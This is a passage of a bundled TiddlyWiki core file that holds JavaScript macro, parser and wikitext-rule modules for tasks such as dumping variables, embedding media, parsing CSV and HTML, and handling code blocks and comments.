            "text": "/*\\\ntitle: $:/core/modules/macros/dumpvariables.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to dump all active variable values\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"dumpvariables\";\n\nexports.params = [\n];\n\n/*\nRun the macro\n*/\nexports.run = function() {\n\tvar output = [\"|!Variable |!Value |\"],\n\t\tvariables = [], variable;\n\tfor(variable in this.variables) {\n\t\tvariables.push(variable);\n\t}\n\tvariables.sort();\n\tfor(var index=0; index<variables.length; index++) {\n\t\tvar variable = variables[index];\n\t\toutput.push(\"|\" + variable + \" |<input size=50 value=<<\" + variable + \">>/> |\")\n\t}\n\treturn output.join(\"\\n\");\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/jsontiddler.js": {
            "title": "$:/core/modules/macros/jsontiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/jsontiddler.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to output a single tiddler to JSON\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"jsontiddler\";\n\nexports.params = [\n\t{name: \"title\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(title) {\n\ttitle = title || this.getVariable(\"currentTiddler\");\n\tvar tiddler = !!title && this.wiki.getTiddler(title),\n\t\tfields = new Object();\n\tif(tiddler) {\n\t\tfor(var field in tiddler.fields) {\n\t\t\tfields[field] = tiddler.getFieldString(field);\n\t\t}\n\t}\n\treturn JSON.stringify(fields,null,$tw.config.preferences.jsonSpaces);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/jsontiddlers.js": {
            "title": "$:/core/modules/macros/jsontiddlers.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/jsontiddlers.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to output tiddlers matching a filter to JSON\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"jsontiddlers\";\n\nexports.params = [\n\t{name: \"filter\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(filter) {\n\treturn this.wiki.getTiddlersAsJson(filter);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/makedatauri.js": {
            "title": "$:/core/modules/macros/makedatauri.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/makedatauri.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to convert a string of text to a data URI\n\n<<makedatauri text:\"Text to be converted\" type:\"text/vnd.tiddlywiki\">>\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"makedatauri\";\n\nexports.params = [\n\t{name: \"text\"},\n\t{name: \"type\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(text,type) {\n\treturn $tw.utils.makeDataUri(text,type);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/now.js": {
            "title": "$:/core/modules/macros/now.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/now.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to return a formatted version of the current time\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"now\";\n\nexports.params = [\n\t{name: \"format\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(format) {\n\treturn $tw.utils.formatDateString(new Date(),format || \"0hh:0mm, DDth MMM YYYY\");\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/qualify.js": {
            "title": "$:/core/modules/macros/qualify.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/qualify.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to qualify a state tiddler title according\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"qualify\";\n\nexports.params = [\n\t{name: \"title\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(title) {\n\treturn title + \"-\" + this.getStateQualifier();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/resolvepath.js": {
            "title": "$:/core/modules/macros/resolvepath.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/resolvepath.js\ntype: application/javascript\nmodule-type: macro\n\nResolves a relative path for an absolute rootpath.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"resolvepath\";\n\nexports.params = [\n\t{name: \"source\"},\n\t{name: \"root\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(source, root) {\n\treturn $tw.utils.resolvePath(source, root);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/version.js": {
            "title": "$:/core/modules/macros/version.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/version.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to return the TiddlyWiki core version number\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"version\";\n\nexports.params = [];\n\n/*\nRun the macro\n*/\nexports.run = function() {\n\treturn $tw.version;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/parsers/audioparser.js": {
            "title": "$:/core/modules/parsers/audioparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/audioparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe audio parser parses an audio tiddler into an embeddable HTML element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar AudioParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"audio\",\n\t\t\tattributes: {\n\t\t\t\tcontrols: {type: \"string\", value: \"controls\"}\n\t\t\t}\n\t\t},\n\t\tsrc;\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\telement.attributes.src = {type: \"string\", value: \"data:\" + type + \";base64,\" + text};\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"audio/ogg\"] = AudioParser;\nexports[\"audio/mpeg\"] = AudioParser;\nexports[\"audio/mp3\"] = AudioParser;\nexports[\"audio/mp4\"] = AudioParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/binaryparser.js": {
            "title": "$:/core/modules/parsers/binaryparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/binaryparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe video parser parses a video tiddler into an embeddable HTML element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar BINARY_WARNING_MESSAGE = \"$:/core/ui/BinaryWarning\";\n\nvar BinaryParser = function(type,text,options) {\n\tthis.tree = [{\n\t\ttype: \"transclude\",\n\t\tattributes: {\n\t\t\ttiddler: {type: \"string\", value: BINARY_WARNING_MESSAGE}\n\t\t}\n\t}];\n};\n\nexports[\"application/octet-stream\"] = BinaryParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/csvparser.js": {
            "title": "$:/core/modules/parsers/csvparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/csvparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe CSV text parser processes CSV files into a table wrapped in a scrollable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar CsvParser = function(type,text,options) {\n\t// Table framework\n\tthis.tree = [{\n\t\t\"type\": \"scrollable\", \"children\": [{\n\t\t\t\"type\": \"element\", \"tag\": \"table\", \"children\": [{\n\t\t\t\t\"type\": \"element\", \"tag\": \"tbody\", \"children\": []\n\t\t\t}], \"attributes\": {\n\t\t\t\t\"class\": {\"type\": \"string\", \"value\": \"tc-csv-table\"}\n\t\t\t}\n\t\t}]\n\t}];\n\t// Split the text into lines\n\tvar lines = text.split(/\\r?\\n/mg),\n\t\ttag = \"th\";\n\tfor(var line=0; line<lines.length; line++) {\n\t\tvar lineText = lines[line];\n\t\tif(lineText) {\n\t\t\tvar row = {\n\t\t\t\t\t\"type\": \"element\", \"tag\": \"tr\", \"children\": []\n\t\t\t\t};\n\t\t\tvar columns = lineText.split(\",\");\n\t\t\tfor(var column=0; column<columns.length; column++) {\n\t\t\t\trow.children.push({\n\t\t\t\t\t\t\"type\": \"element\", \"tag\": tag, \"children\": [{\n\t\t\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\t\t\"text\": columns[column]\n\t\t\t\t\t\t}]\n\t\t\t\t\t});\n\t\t\t}\n\t\t\ttag = \"td\";\n\t\t\tthis.tree[0].children[0].children[0].children.push(row);\n\t\t}\n\t}\n};\n\nexports[\"text/csv\"] = CsvParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/htmlparser.js": {
            "title": "$:/core/modules/parsers/htmlparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/htmlparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe HTML parser displays text as raw HTML\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar HtmlParser = function(type,text,options) {\n\tvar src;\n\tif(options._canonical_uri) {\n\t\tsrc = options._canonical_uri;\n\t} else if(text) {\n\t\tsrc = \"data:text/html;charset=utf-8,\" + encodeURIComponent(text);\n\t}\n\tthis.tree = [{\n\t\ttype: \"element\",\n\t\ttag: \"iframe\",\n\t\tattributes: {\n\t\t\tsrc: {type: \"string\", value: src},\n\t\t\tsandbox: {type: \"string\", value: \"\"}\n\t\t}\n\t}];\n};\n\nexports[\"text/html\"] = HtmlParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/imageparser.js": {
            "title": "$:/core/modules/parsers/imageparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/imageparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe image parser parses an image into an embeddable HTML element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar ImageParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"img\",\n\t\t\tattributes: {}\n\t\t};\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\tif(type === \"image/svg+xml\" || type === \".svg\") {\n\t\t\telement.attributes.src = {type: \"string\", value: \"data:image/svg+xml,\" + encodeURIComponent(text)};\n\t\t} else {\n\t\t\telement.attributes.src = {type: \"string\", value: \"data:\" + type + \";base64,\" + text};\n\t\t}\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"image/svg+xml\"] = ImageParser;\nexports[\"image/jpg\"] = ImageParser;\nexports[\"image/jpeg\"] = ImageParser;\nexports[\"image/png\"] = ImageParser;\nexports[\"image/gif\"] = ImageParser;\nexports[\"image/webp\"] = ImageParser;\nexports[\"image/heic\"] = ImageParser;\nexports[\"image/heif\"] = ImageParser;\nexports[\"image/x-icon\"] = ImageParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/utils/parseutils.js": {
            "title": "$:/core/modules/utils/parseutils.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/parseutils.js\ntype: application/javascript\nmodule-type: utils\n\nUtility functions concerned with parsing text into tokens.\n\nMost functions have the following pattern:\n\n* The parameters are:\n** `source`: the source string being parsed\n** `pos`: the current parse position within the string\n** Any further parameters are used to identify the token that is being parsed\n* The return value is:\n** null if the token was not found at the specified position\n** an object representing the token with the following standard fields:\n*** `type`: string indicating the type of the token\n*** `start`: start position of the token in the source string\n*** `end`: end position of the token in the source string\n*** Any further fields required to describe the token\n\nThe exception is `skipWhiteSpace`, which just returns the position after the whitespace.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nLook for a whitespace token. Returns null if not found, otherwise returns {type: \"whitespace\", start:, end:,}\n*/\nexports.parseWhiteSpace = function(source,pos) {\n\tvar p = pos,c;\n\twhile(true) {\n\t\tc = source.charAt(p);\n\t\tif((c === \" \") || (c === \"\\f\") || (c === \"\\n\") || (c === \"\\r\") || (c === \"\\t\") || (c === \"\\v\") || (c === \"\\u00a0\")) { // Ignores some obscure unicode spaces\n\t\t\tp++;\n\t\t} else {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif(p === pos) {\n\t\treturn null;\n\t} else {\n\t\treturn {\n\t\t\ttype: \"whitespace\",\n\t\t\tstart: pos,\n\t\t\tend: p\n\t\t}\n\t}\n};\n\n/*\nConvenience wrapper for parseWhiteSpace. Returns the position after the whitespace\n*/\nexports.skipWhiteSpace = function(source,pos) {\n\tvar c;\n\twhile(true) {\n\t\tc = source.charAt(pos);\n\t\tif((c === \" \") || (c === \"\\f\") || (c === \"\\n\") || (c === \"\\r\") || (c === \"\\t\") || (c === \"\\v\") || (c === \"\\u00a0\")) { // Ignores some obscure unicode spaces\n\t\t\tpos++;\n\t\t} else {\n\t\t\treturn pos;\n\t\t}\n\t}\n};\n\n/*\nLook for a given string token. Returns null if not found, otherwise returns {type: \"token\", value:, start:, end:,}\n*/\nexports.parseTokenString = function(source,pos,token) {\n\tvar match = source.indexOf(token,pos) === pos;\n\tif(match) {\n\t\treturn {\n\t\t\ttype: \"token\",\n\t\t\tvalue: token,\n\t\t\tstart: pos,\n\t\t\tend: pos + token.length\n\t\t};\n\t}\n\treturn null;\n};\n\n/*\nLook for a token matching a regex. Returns null if not found, otherwise returns {type: \"regexp\", match:, start:, end:,}\n*/\nexports.parseTokenRegExp = function(source,pos,reToken) {\n\tvar node = {\n\t\ttype: \"regexp\",\n\t\tstart: pos\n\t};\n\treToken.lastIndex = pos;\n\tnode.match = reToken.exec(source);\n\tif(node.match && node.match.index === pos) {\n\t\tnode.end = pos + node.match[0].length;\n\t\treturn node;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nLook for a string literal. Returns null if not found, otherwise returns {type: \"string\", value:, start:, end:,}\n*/\nexports.parseStringLiteral = function(source,pos) {\n\tvar node = {\n\t\ttype: \"string\",\n\t\tstart: pos\n\t};\n\tvar reString = /(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\")|(?:'([^']*)')/g;\n\treString.lastIndex = pos;\n\tvar match = reString.exec(source);\n\tif(match && match.index === pos) {\n\t\tnode.value = match[1] !== undefined ? match[1] :(\n\t\t\tmatch[2] !== undefined ? match[2] : match[3] \n\t\t\t\t\t);\n\t\tnode.end = pos + match[0].length;\n\t\treturn node;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nLook for a macro invocation parameter. Returns null if not found, or {type: \"macro-parameter\", name:, value:, start:, end:}\n*/\nexports.parseMacroParameter = function(source,pos) {\n\tvar node = {\n\t\ttype: \"macro-parameter\",\n\t\tstart: pos\n\t};\n\t// Define our regexp\n\tvar reMacroParameter = /(?:([A-Za-z0-9\\-_]+)\\s*:)?(?:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\\s>\"'=]+)))/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the parameter\n\tvar token = $tw.utils.parseTokenRegExp(source,pos,reMacroParameter);\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Get the parameter details\n\tnode.value = token.match[2] !== undefined ? token.match[2] : (\n\t\t\t\t\ttoken.match[3] !== undefined ? token.match[3] : (\n\t\t\t\t\t\ttoken.match[4] !== undefined ? token.match[4] : (\n\t\t\t\t\t\t\ttoken.match[5] !== undefined ? token.match[5] : (\n\t\t\t\t\t\t\t\ttoken.match[6] !== undefined ? token.match[6] : (\n\t\t\t\t\t\t\t\t\t\"\"\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n\tif(token.match[1]) {\n\t\tnode.name = token.match[1];\n\t}\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n/*\nLook for a macro invocation. Returns null if not found, or {type: \"macrocall\", name:, parameters:, start:, end:}\n*/\nexports.parseMacroInvocation = function(source,pos) {\n\tvar node = {\n\t\ttype: \"macrocall\",\n\t\tstart: pos,\n\t\tparams: []\n\t};\n\t// Define our regexps\n\tvar reMacroName = /([^\\s>\"'=]+)/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a double less than sign\n\tvar token = $tw.utils.parseTokenString(source,pos,\"<<\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Get the macro name\n\tvar name = $tw.utils.parseTokenRegExp(source,pos,reMacroName);\n\tif(!name) {\n\t\treturn null;\n\t}\n\tnode.name = name.match[1];\n\tpos = name.end;\n\t// Process parameters\n\tvar parameter = $tw.utils.parseMacroParameter(source,pos);\n\twhile(parameter) {\n\t\tnode.params.push(parameter);\n\t\tpos = parameter.end;\n\t\t// Get the next parameter\n\t\tparameter = $tw.utils.parseMacroParameter(source,pos);\n\t}\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a double greater than sign\n\ttoken = $tw.utils.parseTokenString(source,pos,\">>\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n/*\nLook for an HTML attribute definition. Returns null if not found, otherwise returns {type: \"attribute\", name:, valueType: \"string|indirect|macro\", value:, start:, end:,}\n*/\nexports.parseAttribute = function(source,pos) {\n\tvar node = {\n\t\tstart: pos\n\t};\n\t// Define our regexps\n\tvar reAttributeName = /([^\\/\\s>\"'=]+)/g,\n\t\treUnquotedAttribute = /([^\\/\\s<>\"'=]+)/g,\n\t\treFilteredValue = /\\{\\{\\{(.+?)\\}\\}\\}/g,\n\t\treIndirectValue = /\\{\\{([^\\}]+)\\}\\}/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Get the attribute name\n\tvar name = $tw.utils.parseTokenRegExp(source,pos,reAttributeName);\n\tif(!name) {\n\t\treturn null;\n\t}\n\tnode.name = name.match[1];\n\tpos = name.end;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for an equals sign\n\tvar token = $tw.utils.parseTokenString(source,pos,\"=\");\n\tif(token) {\n\t\tpos = token.end;\n\t\t// Skip whitespace\n\t\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t\t// Look for a string literal\n\t\tvar stringLiteral = $tw.utils.parseStringLiteral(source,pos);\n\t\tif(stringLiteral) {\n\t\t\tpos = stringLiteral.end;\n\t\t\tnode.type = \"string\";\n\t\t\tnode.value = stringLiteral.value;\n\t\t} else {\n\t\t\t// Look for a filtered value\n\t\t\tvar filteredValue = $tw.utils.parseTokenRegExp(source,pos,reFilteredValue);\n\t\t\tif(filteredValue) {\n\t\t\t\tpos = filteredValue.end;\n\t\t\t\tnode.type = \"filtered\";\n\t\t\t\tnode.filter = filteredValue.match[1];\n\t\t\t} else {\n\t\t\t\t// Look for an indirect value\n\t\t\t\tvar indirectValue = $tw.utils.parseTokenRegExp(source,pos,reIndirectValue);\n\t\t\t\tif(indirectValue) {\n\t\t\t\t\tpos = indirectValue.end;\n\t\t\t\t\tnode.type = \"indirect\";\n\t\t\t\t\tnode.textReference = indirectValue.match[1];\n\t\t\t\t} else {\n\t\t\t\t\t// Look for a unquoted value\n\t\t\t\t\tvar unquotedValue = $tw.utils.parseTokenRegExp(source,pos,reUnquotedAttribute);\n\t\t\t\t\tif(unquotedValue) {\n\t\t\t\t\t\tpos = unquotedValue.end;\n\t\t\t\t\t\tnode.type = \"string\";\n\t\t\t\t\t\tnode.value = unquotedValue.match[1];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Look for a macro invocation value\n\t\t\t\t\t\tvar macroInvocation = $tw.utils.parseMacroInvocation(source,pos);\n\t\t\t\t\t\tif(macroInvocation) {\n\t\t\t\t\t\t\tpos = macroInvocation.end;\n\t\t\t\t\t\t\tnode.type = \"macro\";\n\t\t\t\t\t\t\tnode.value = macroInvocation;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tnode.type = \"string\";\n\t\t\t\t\t\t\tnode.value = \"true\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tnode.type = \"string\";\n\t\tnode.value = \"true\";\n\t}\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/parsers/pdfparser.js": {
            "title": "$:/core/modules/parsers/pdfparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/pdfparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe PDF parser embeds a PDF viewer\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar ImageParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"embed\",\n\t\t\tattributes: {}\n\t\t},\n\t\tsrc;\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\telement.attributes.src = {type: \"string\", value: \"data:application/pdf;base64,\" + text};\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"application/pdf\"] = ImageParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/textparser.js": {
            "title": "$:/core/modules/parsers/textparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/textparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe plain text parser processes blocks of source text into a degenerate parse tree consisting of a single text node\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar TextParser = function(type,text,options) {\n\tthis.tree = [{\n\t\ttype: \"codeblock\",\n\t\tattributes: {\n\t\t\tcode: {type: \"string\", value: text},\n\t\t\tlanguage: {type: \"string\", value: type}\n\t\t}\n\t}];\n};\n\nexports[\"text/plain\"] = TextParser;\nexports[\"text/x-tiddlywiki\"] = TextParser;\nexports[\"application/javascript\"] = TextParser;\nexports[\"application/json\"] = TextParser;\nexports[\"text/css\"] = TextParser;\nexports[\"application/x-tiddler-dictionary\"] = TextParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/videoparser.js": {
            "title": "$:/core/modules/parsers/videoparser.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/videoparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe video parser parses a video tiddler into an embeddable HTML element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar VideoParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"video\",\n\t\t\tattributes: {\n\t\t\t\tcontrols: {type: \"string\", value: \"controls\"}\n\t\t\t}\n\t\t},\n\t\tsrc;\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\telement.attributes.src = {type: \"string\", value: \"data:\" + type + \";base64,\" + text};\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"video/mp4\"] = VideoParser;\nexports[\"video/quicktime\"] = VideoParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/wikiparser/rules/codeblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/codeblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/codeblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for code blocks. For example:\n\n```\n\t```\n\tThis text will not be //wikified//\n\t```\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"codeblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match and get language if defined\n\tthis.matchRegExp = /```([\\w-]*)\\r?\\n/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /(\\r?\\n```$)/mg;\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Look for the end of the block\n\treEnd.lastIndex = this.parser.pos;\n\tvar match = reEnd.exec(this.parser.source),\n\t\ttext;\n\t// Process the block\n\tif(match) {\n\t\ttext = this.parser.source.substring(this.parser.pos,match.index);\n\t\tthis.parser.pos = match.index + match[0].length;\n\t} else {\n\t\ttext = this.parser.source.substr(this.parser.pos);\n\t\tthis.parser.pos = this.parser.sourceLength;\n\t}\n\t// Return the $codeblock widget\n\treturn [{\n\t\t\ttype: \"codeblock\",\n\t\t\tattributes: {\n\t\t\t\t\tcode: {type: \"string\", value: text},\n\t\t\t\t\tlanguage: {type: \"string\", value: this.match[1]}\n\t\t\t}\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/codeinline.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/codeinline.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/codeinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for code runs. For example:\n\n```\n\tThis is a `code run`.\n\tThis is another ``code run``\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"codeinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(``?)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar reEnd = new RegExp(this.match[1], \"mg\");\n\t// Look for the end marker\n\treEnd.lastIndex = this.parser.pos;\n\tvar match = reEnd.exec(this.parser.source),\n\t\ttext;\n\t// Process the text\n\tif(match) {\n\t\ttext = this.parser.source.substring(this.parser.pos,match.index);\n\t\tthis.parser.pos = match.index + match[0].length;\n\t} else {\n\t\ttext = this.parser.source.substr(this.parser.pos);\n\t\tthis.parser.pos = this.parser.sourceLength;\n\t}\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"code\",\n\t\tchildren: [{\n\t\t\ttype: \"text\",\n\t\t\ttext: text\n\t\t}]\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/commentblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/commentblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/commentblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for HTML comments. For example:\n\n```\n<!-- This is a comment -->\n```\n\nNote that the syntax for comments is simplified to an opening \"<!--\" sequence and a closing \"-->\" sequence -- HTML itself implements a more complex format (see http://ostermiller.org/findhtmlcomment.html)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"commentblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\tthis.matchRegExp = /<!--/mg;\n\tthis.endMatchRegExp = /-->/mg;\n};\n\nexports.findNextMatch = function(startPos) {\n\tthis.matchRegExp.lastIndex = startPos;\n\tthis.match = this.matchRegExp.exec(this.parser.source);\n\tif(this.match) {\n\t\tthis.endMatchRegExp.lastIndex = startPos + this.match[0].length;\n\t\tthis.endMatch = this.endMatchRegExp.exec(this.parser.source);\n\t\tif(this.endMatch) {\n\t\t\treturn this.match.index;\n\t\t}\n\t}\n\treturn undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.endMatchRegExp.lastIndex;\n\t// Don't return any elements\n\treturn [];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/commentinline.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/commentinline.js",
